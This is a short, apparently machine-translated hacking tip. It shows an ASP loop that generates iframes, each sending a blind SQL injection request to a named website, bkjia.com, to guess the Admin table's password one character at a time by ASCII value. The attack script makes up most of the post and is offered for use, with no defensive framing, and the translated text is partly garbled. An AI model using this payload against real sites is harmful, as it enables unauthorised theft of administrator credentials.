Simplified SQL injection and guessing, making iframe display more convenient

The injection point is portable.
 
It seems that none of the tools have been tested.
 
Then there is only manual work.
 
We all know that it is troublesome to compare the asc size one by one when we guess the solution value.
 
So think of this
 
<%
 
For s = 40 to 128.
 
Response. write "<iframe src =" "http://www.bkjia.com/default. asp? Id = 111111 'and 1 = (select top 1 count (*) from Admin where Asc (mid (password, 3, 1) = "& s &") and '1' = '1 ""> </iframe>"
 
Next
 
%>
In this way, the page corresponding to the value may be easily displayed.

From Shadow e